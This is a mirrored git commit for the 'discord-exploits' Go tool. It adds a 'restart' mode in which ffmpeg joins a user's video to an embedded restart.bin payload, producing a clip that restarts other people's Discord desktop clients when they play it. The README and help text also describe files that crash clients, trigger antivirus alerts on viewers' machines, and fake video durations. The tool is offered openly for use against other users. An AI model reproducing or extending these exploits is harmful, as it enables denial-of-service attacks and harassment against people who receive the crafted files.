mirror of
https://github.com/Schmenn/discord-exploits.git
synced 2025-04-26 10:26:25 +00:00
Merge 98c890141f
into 7535d433b3
This commit is contained in:
commit
ed4d9ca1f3
2
.gitignore
vendored
2
.gitignore
vendored
|
@ -38,3 +38,5 @@ discord-exploits-linux-64bit
|
||||||
*.m4a
|
*.m4a
|
||||||
|
|
||||||
*.mp3
|
*.mp3
|
||||||
|
|
||||||
|
.idea
|
82
README.md
82
README.md
|
@ -1,83 +1,69 @@
|
||||||
[](https://github.com/Schmenn/discord-exploits/stargazers)
|
[](https://github.com/Schmenn/discord-exploits/stargazers)
|
||||||

|

|
||||||

|

|
||||||
[](https://github.com/Schmenn/discord-exploits/network)
|
[](https://github.com/Schmenn/discord-exploits/network)
|
||||||

|

|
||||||
|
|
||||||
# Discord-Exploits
|
# Discord-Exploits
|
||||||
A program for creating exploited media files for discord written in Go.
|
|
||||||
|
A program for creating exploited media files for Discord written in Go.
|
||||||
|
|
||||||
# [Video Guide](https://www.youtube.com/watch?v=X0e3dgXzuEM)
|
# [Video Guide](https://www.youtube.com/watch?v=X0e3dgXzuEM)
|
||||||
|
|
||||||
##### If you have any questions, feel free to ask me on  or join the server: [](https://discord.gg/QQfE4QtzFJ)
|
If you have any questions, feel free to ask me on  or join the server: [](https://discord.gg/QQfE4QtzFJ)
|
||||||
|
|
||||||
<b>DO NOT DM ME ASKING WHY THE WINDOW CLOSES INSTANTLY WHEN YOU DOUBLE CLICK IT,
|
<b>DO NOT DM ME ASKING WHY THE WINDOW CLOSES INSTANTLY WHEN YOU DOUBLE CLICK IT,
|
||||||
|
|
||||||
DISCORD-EXPLOITS IS A COMMAND-LINE UTILITY MEANING YOU HAVE TO USE IT FROM A TERMINAL
|
DISCORD-EXPLOITS IS A COMMAND-LINE UTILITY MEANING YOU HAVE TO USE IT FROM A TERMINAL
|
||||||
|
|
||||||
IF THE PROGRAM SHOWS AN ERROR, READ THE ERROR BEFORE MESSAGING ME</b>
|
IF THE PROGRAM SHOWS AN ERROR, READ THE ERROR BEFORE MESSAGING ME</b>
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
### Getting Help
|
|
||||||
|
|
||||||
`discord-exploits -h` will show you what commands can be used and what you have to do
|
`discord-exploits -h` will show you what commands can be used and what you have to do
|
||||||
|
|
||||||
### Creating an Expanding Video file
|
## Usage
|
||||||
|
|
||||||
`discord-exploits -m <mode> -i <input file> [-q]`
|
`discord-exploits -m <mode> -i <input file> [-q]`
|
||||||
|
|
||||||
the mode `c` stands for "crash", this file will crash almost any desktop discord client when it is played to the end
|
| Mode | Description |
|
||||||
|
| :------------ | :------------ |
|
||||||
|
| `c` | Create a file that will crash most Discord desktop clients when played to the end |
|
||||||
|
| `r` | Create a file that will instantly restart most Discord desktop clients when played to the end |
|
||||||
|
| `v` | Create a virus image (upon sending to a channel, it will trigger antivirus software for anyone who sees it) |
|
||||||
|
| `e` | Create a video which has an expanding video duration (00:00/00:02, 00:01/00:03, etc...) |
|
||||||
|
| `n` | Create a video with negative duration |
|
||||||
|
| `0` or `z` | Create a video with a removed duration header (0 second video) |
|
||||||
|
| `t` | Create a file that will play a different audio when it is replayed (still experimental) |
|
||||||
|
|
||||||
the mode `v` stands for virus image
|
The program only supports `webm` files for video, `png` files for images and `ogg` files for audio (`t`)
|
||||||
|
|
||||||
the mode `e` stands for expanding video duration
|
|
||||||
|
|
||||||
the mode `n` stands for negative video duration
|
|
||||||
|
|
||||||
the mode `0` or `z` stands for video with 0s duration
|
|
||||||
|
|
||||||
the mode `t` stands for "twice", this file will play a different audio when it is replayed (still experimental)
|
|
||||||
|
|
||||||
The Program only supports `webm` files for video, `png` files for images and `ogg` files for audio (t)
|
|
||||||
|
|
||||||
##### The file will be saved with a random file name in the directory in which you ran the command
|
##### The file will be saved with a random file name in the directory in which you ran the command
|
||||||
|
|
||||||
##### You can use [FFmpeg](https://ffmpeg.org) to convert a video to .webm or to convert an image to png (better than online converters)
|
##### You can use [FFmpeg](https://ffmpeg.org) to convert a video to .webm or to convert an image to png (better than online converters)
|
||||||
|
|
||||||
##### The "virus" image may get flagged by windows defender and will get removed. to restore the file, go to Settings > Update & Security > Windows Security > Virus & Threat protection and restore the file
|
##### The "virus" image may get flagged by windows defender and will get removed. to restore the file, go to Settings > Update & Security > Windows Security > Virus & Threat protection and restore the file
|
||||||
|
|
||||||
## Installation
|
## Installation
|
||||||
|
|
||||||
### Via releases
|
### Via releases
|
||||||
|
|
||||||
go to [the releases page](https://github.com/Schmenn/discord-exploits/releases) and download either the windows or linux version
|
go to [the releases page](https://github.com/Schmenn/discord-exploits/releases) and download either the windows or linux version. the program is compatible with:
|
||||||
|
|
||||||
###### availabe systems are:
|
`windows-64-bit windows-32-bit`
|
||||||
`windows-64-bit
|
|
||||||
windows-32-bit`
|
|
||||||
|
|
||||||
`linux-64-bit
|
`linux-64-bit linux-32-bit` (untested on linux)
|
||||||
linux-32-bit`
|
|
||||||
|
|
||||||
##### The Program was not yet tested on linux
|
### Compile from source
|
||||||
|
|
||||||
|
make sure you have [Go](https://golang.org) installed and in your path
|
||||||
|
|
||||||
### Compiling it yourself
|
1. Clone this repository: `git clone https://github.com/Schmenn/discord-exploits` (If you don't have git installed, install it [here](https://git-scm.com) or download the code as a zip)
|
||||||
###### make sure you have [Go](https://golang.org) installed and in your path
|
2. Go into the folder: `cd discord-exploits`
|
||||||
1. Clone this repository
|
3. Build it: `go build`
|
||||||
|
|
||||||
`git clone https://github.com/Schmenn/discord-exploits`
|
|
||||||
|
|
||||||
###### If you don't have git installed, install it [here](https://git-scm.com) or download the code as a zip
|
|
||||||
2. Go into the folder
|
|
||||||
|
|
||||||
`cd discord-exploits`
|
|
||||||
|
|
||||||
3. Build it
|
|
||||||
|
|
||||||
`go build`
|
|
||||||
|
|
||||||
###### the executable will have the name `discord-exploits`
|
|
||||||
|
|
||||||
## Features
|
## Features
|
||||||
|
|
||||||
### Current Features
|
### Current Features
|
||||||
* Feature for creating a video that, when played on discord, will seem like infinite, because the duration keeps getting longer
|
* Feature for creating a video that, when played on discord, will seem like infinite, because the duration keeps getting longer
|
||||||
* Feature for creating a video that, when played on discord, will look like it has got a huge negative duration
|
* Feature for creating a video that, when played on discord, will look like it has got a huge negative duration
|
||||||
|
@ -87,12 +73,14 @@ linux-32-bit`
|
||||||
* Feature for creating a video that, when played on a discord client, will crash it ([always requires FFmpeg](https://ffmpeg.org))
|
* Feature for creating a video that, when played on a discord client, will crash it ([always requires FFmpeg](https://ffmpeg.org))
|
||||||
* Transcoding from `mp4` to `webm`, from `jpeg` and `jpg` to `png` and from `mp4` and `m4a` to `ogg` ([requires FFmpeg](https://ffmpeg.org))
|
* Transcoding from `mp4` to `webm`, from `jpeg` and `jpg` to `png` and from `mp4` and `m4a` to `ogg` ([requires FFmpeg](https://ffmpeg.org))
|
||||||
|
|
||||||
### Disclaimer
|
## Disclaimer
|
||||||
|
|
||||||
The t/twice mode requires ffmpeg with all compatible file formats, even `ogg`, because the current version of the exploit has to convert the audio to a sample rate of 44100.
|
The t/twice mode requires ffmpeg with all compatible file formats, even `ogg`, because the current version of the exploit has to convert the audio to a sample rate of 44100.
|
||||||
|
|
||||||
The c/crash mode also requires ffmpeg will all compatible file formats, because the input file needs to be concatenated with another file.
|
The c/crash mode also requires ffmpeg will all compatible file formats, because the input file needs to be concatenated with another file.
|
||||||
|
|
||||||
### Upcoming Features are:
|
## Upcoming Features
|
||||||
not yet decided.
|
|
||||||
|
None yet
|
||||||
|
|
||||||
|
|
||||||
|
|
16
exploits.go
16
exploits.go
|
@ -5,8 +5,8 @@ import (
|
||||||
"github.com/Schmenn/discord-exploits/exploits"
|
"github.com/Schmenn/discord-exploits/exploits"
|
||||||
"github.com/Schmenn/discord-exploits/modules"
|
"github.com/Schmenn/discord-exploits/modules"
|
||||||
"os"
|
"os"
|
||||||
"strings"
|
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
|
"strings"
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
|
@ -91,6 +91,15 @@ func initCommand(inputFile string, mode string) {
|
||||||
fmt.Println("completed task.")
|
fmt.Println("completed task.")
|
||||||
os.Remove(out)
|
os.Remove(out)
|
||||||
|
|
||||||
|
case "r":
|
||||||
|
fmt.Println("transcoding video from webm to mp4")
|
||||||
|
out := modules.Transcode(inputFile, "mp4")
|
||||||
|
fmt.Println("finished transcoding video from webm to mp4")
|
||||||
|
fmt.Println("editing video.")
|
||||||
|
exploits.RunRestartVideoTask(out)
|
||||||
|
fmt.Println("completed task.")
|
||||||
|
os.Remove(out)
|
||||||
|
|
||||||
default:
|
default:
|
||||||
fmt.Println("the mode doesn't match the file")
|
fmt.Println("the mode doesn't match the file")
|
||||||
}
|
}
|
||||||
|
@ -130,6 +139,11 @@ func initCommand(inputFile string, mode string) {
|
||||||
exploits.RunCrashVideoTask(inputFile)
|
exploits.RunCrashVideoTask(inputFile)
|
||||||
fmt.Println("completed task.")
|
fmt.Println("completed task.")
|
||||||
|
|
||||||
|
case "r":
|
||||||
|
fmt.Println("editing video.")
|
||||||
|
exploits.RunRestartVideoTask(inputFile)
|
||||||
|
fmt.Println("completed task.")
|
||||||
|
|
||||||
default:
|
default:
|
||||||
fmt.Println("the mode doesn't match the file")
|
fmt.Println("the mode doesn't match the file")
|
||||||
}
|
}
|
||||||
|
|
|
@ -18,13 +18,13 @@ func RunExpandingVideoTask(fileName string) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
data[index+3] = 63
|
data[index+3] = 63
|
||||||
data[index+4] = 240
|
data[index+4] = 240
|
||||||
data[index+5] = 0
|
data[index+5] = 0
|
||||||
data[index+6] = 0
|
data[index+6] = 0
|
||||||
data[index+7] = 0
|
data[index+7] = 0
|
||||||
data[index+8] = 0
|
data[index+8] = 0
|
||||||
data[index+9] = 0
|
data[index+9] = 0
|
||||||
data[index+10] = 0
|
data[index+10] = 0
|
||||||
|
|
||||||
name := modules.CreateName("webm")
|
name := modules.CreateName("webm")
|
||||||
|
|
|
@ -19,13 +19,13 @@ func RunNegativeVideoTask(fileName string) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
data[index+3] = 66
|
data[index+3] = 66
|
||||||
data[index+4] = 255
|
data[index+4] = 255
|
||||||
data[index+5] = 176
|
data[index+5] = 176
|
||||||
data[index+6] = 96
|
data[index+6] = 96
|
||||||
data[index+7] = 0
|
data[index+7] = 0
|
||||||
data[index+8] = 0
|
data[index+8] = 0
|
||||||
data[index+9] = 0
|
data[index+9] = 0
|
||||||
data[index+10] = 0
|
data[index+10] = 0
|
||||||
|
|
||||||
name := modules.CreateName("webm")
|
name := modules.CreateName("webm")
|
||||||
|
|
45
exploits/restart-video.go
Normal file
45
exploits/restart-video.go
Normal file
|
@ -0,0 +1,45 @@
|
||||||
|
package exploits
|
||||||
|
|
||||||
|
import (
|
||||||
|
_ "embed" // embed
|
||||||
|
"fmt"
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/Schmenn/discord-exploits/modules"
|
||||||
|
)
|
||||||
|
|
||||||
|
//go:embed restart.bin
|
||||||
|
var restartBin []byte
|
||||||
|
|
||||||
|
// RunRestartVideoTask will concatenate a user-provided mpeg4 file and restart.bin to create a video which will
|
||||||
|
// restart clients instead of crashing them. Requires that the base mpeg4 be encoded to yuv422p color space.
|
||||||
|
func RunRestartVideoTask(filename string) {
|
||||||
|
binname := modules.CreateName("bin")
|
||||||
|
outname := modules.CreateName("mp4")
|
||||||
|
txtname := modules.CreateName("txt")
|
||||||
|
// prevent duplicate id
|
||||||
|
time.Sleep(time.Millisecond * 1)
|
||||||
|
reencode := modules.CreateName("mp4")
|
||||||
|
|
||||||
|
modules.CheckForFFmpeg()
|
||||||
|
cmd := exec.Command("ffmpeg", "-i", filename, "-pix_fmt", "yuv422p", reencode)
|
||||||
|
err := cmd.Run()
|
||||||
|
modules.Check(err)
|
||||||
|
err = os.WriteFile(txtname, []byte(`file '`+reencode+`'`+"\n"+`file '`+binname+`'`), 0777)
|
||||||
|
modules.Check(err)
|
||||||
|
err = os.WriteFile(binname, restartBin, 0777)
|
||||||
|
modules.Check(err)
|
||||||
|
cmd = exec.Command("ffmpeg", "-f", "concat", "-safe", "0", "-i", txtname, "-y", "-c", "copy", outname)
|
||||||
|
err = cmd.Run()
|
||||||
|
modules.Check(err)
|
||||||
|
|
||||||
|
err = os.Remove(binname)
|
||||||
|
modules.Check(err)
|
||||||
|
err = os.Remove(txtname)
|
||||||
|
modules.Check(err)
|
||||||
|
err = os.Remove(reencode)
|
||||||
|
modules.Check(err)
|
||||||
|
fmt.Println("Saved video to: " + outname)
|
||||||
|
}
|
BIN
exploits/restart.bin
Normal file
BIN
exploits/restart.bin
Normal file
Binary file not shown.
|
@ -12,7 +12,7 @@ var (
|
||||||
vpng1 []byte
|
vpng1 []byte
|
||||||
//go:embed virus2.txt
|
//go:embed virus2.txt
|
||||||
vpng2 []byte
|
vpng2 []byte
|
||||||
vpng = append(vpng1, vpng2...)
|
vpng = append(vpng1, vpng2...)
|
||||||
)
|
)
|
||||||
|
|
||||||
// RunVirusImageTask edits file
|
// RunVirusImageTask edits file
|
||||||
|
|
|
@ -19,18 +19,18 @@ func RunZeroVideoTask(fileName string) {
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
data[index+3] = 0
|
data[index+3] = 0
|
||||||
data[index+4] = 0
|
data[index+4] = 0
|
||||||
data[index+5] = 0
|
data[index+5] = 0
|
||||||
data[index+6] = 0
|
data[index+6] = 0
|
||||||
data[index+7] = 0
|
data[index+7] = 0
|
||||||
data[index+8] = 0
|
data[index+8] = 0
|
||||||
data[index+9] = 0
|
data[index+9] = 0
|
||||||
data[index+10] = 0
|
data[index+10] = 0
|
||||||
|
|
||||||
name := modules.CreateName("webm")
|
name := modules.CreateName("webm")
|
||||||
|
|
||||||
fmt.Println("Saved video to: "+name)
|
fmt.Println("Saved video to: " + name)
|
||||||
|
|
||||||
err = os.WriteFile(name, data, os.FileMode(0777))
|
err = os.WriteFile(name, data, os.FileMode(0777))
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|
|
@ -7,7 +7,7 @@ import (
|
||||||
)
|
)
|
||||||
|
|
||||||
// CheckForFFmpeg looks for ffmpeg in the path
|
// CheckForFFmpeg looks for ffmpeg in the path
|
||||||
func CheckForFFmpeg() (string) {
|
func CheckForFFmpeg() string {
|
||||||
path, err := exec.LookPath("ffmpeg")
|
path, err := exec.LookPath("ffmpeg")
|
||||||
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|
|
@ -19,6 +19,7 @@ func Help(progName string) {
|
||||||
fmt.Println(" n takes input video (.webm or .mp4) and edits it so discord will think it has got a huge negative duration")
|
fmt.Println(" n takes input video (.webm or .mp4) and edits it so discord will think it has got a huge negative duration")
|
||||||
fmt.Println(" z, 0 takes input video (.webm or .mp4) and edits it so discord will think it has got a 0s duration")
|
fmt.Println(" z, 0 takes input video (.webm or .mp4) and edits it so discord will think it has got a 0s duration")
|
||||||
fmt.Println(" c takes input video (.webm or .mp4) and edits it so discord will crash when you play it to the end (only works on some PCs)")
|
fmt.Println(" c takes input video (.webm or .mp4) and edits it so discord will crash when you play it to the end (only works on some PCs)")
|
||||||
|
fmt.Println(" r takes input video (.webm or .mp4) and edits it so discord will immediately restart when you play it to the end (only works on some PCs)")
|
||||||
fmt.Println(" image:")
|
fmt.Println(" image:")
|
||||||
fmt.Println(" v takes an image (.png, .jpg or .jpeg) and makes other users' windows defender think it's a virus")
|
fmt.Println(" v takes an image (.png, .jpg or .jpeg) and makes other users' windows defender think it's a virus")
|
||||||
fmt.Println(" audio:")
|
fmt.Println(" audio:")
|
||||||
|
|
|
@ -16,7 +16,7 @@ func Transcode(input string, to string) string {
|
||||||
Check(err)
|
Check(err)
|
||||||
|
|
||||||
fmt.Println("temporarily saving transcoded file to " + output)
|
fmt.Println("temporarily saving transcoded file to " + output)
|
||||||
|
|
||||||
return output
|
return output
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue